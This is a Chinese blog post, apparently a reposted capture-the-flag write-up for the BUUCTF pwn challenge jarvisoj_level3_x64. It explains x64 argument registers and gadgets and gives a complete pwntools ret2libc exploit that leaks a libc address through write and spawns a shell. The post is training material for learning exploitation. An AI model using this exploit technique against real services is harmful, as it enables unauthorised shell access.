BUUCTF(pwn)jarvisoj_level3_x64
生活随笔
收集整理的這篇文章主要介紹了
BUUCTF(pwn)jarvisoj_level3_x64
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
這道題是一道簡單的rop類型的題目,跟之前做的題目有一些差異:( 這是64位的需要一些額外的操作 )
64位匯編傳參,當參數少于7個時, 參數從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 當參數為7個以上時, 前 6 個與前面一樣, 但后面的依次從 “右向左” 放入棧中,即和32位匯編一樣。
這里我們使用 write 函數 來泄密 libc地址
ssize_t write(int fd,const void*buf,size_t count); 參數說明:
fd:是文件描述符(write所對應的是寫,即就是1) buf:通常是一個字符串,需要寫入的字符串 count:是每次寫入的字節數
write 函數的特殊之處是 它具有多個參數;
這里我們需要獲得3個寄存器的地址來 存取參數;
rdi = 0x4006b3
rsi = 0x4006b1
這里 rsi 這個地址后面還跟著一個 寄存器 r15; 剛好夠了3個寄存器 來供我們輸入參數;
下面就是一些基本的ropexp;
from pwn import * from LibcSearcher import * r=remote('node3.buuoj.cn',29161) elf=ELF("./1") write_plt=elf.plt["write"] write_got=elf.got["write"] main=0x40061A rdi=0x4006b3 rsi=0x4006b1 payload='a'*(0x80+0x8)+p64(rdi)+p64(1)+p64(rsi)+p64(write_got)+p64(8)+p64(write_plt)+p64(main) r.sendlineafter("Input:\n",payload) write_addr = u64(r.recv(8)) libc=LibcSearcher('write',write_addr) offset=write_addr-libc.dump('write') sys=offset+libc.dump('system') binsh=offset+libc.dump('str_bin_sh') payload='a'*(0x80+0x8)+p64(rdi)+p64(binsh)+p64(sys) r.sendlineafter("Input:\n",payload) r.interactive()對exp有疑問的歡迎留言
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的BUUCTF(pwn)jarvisoj_level3_x64的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: BUUCTF(pwn)mrctf2020
- 下一篇: Pwntools---fmtstr_pa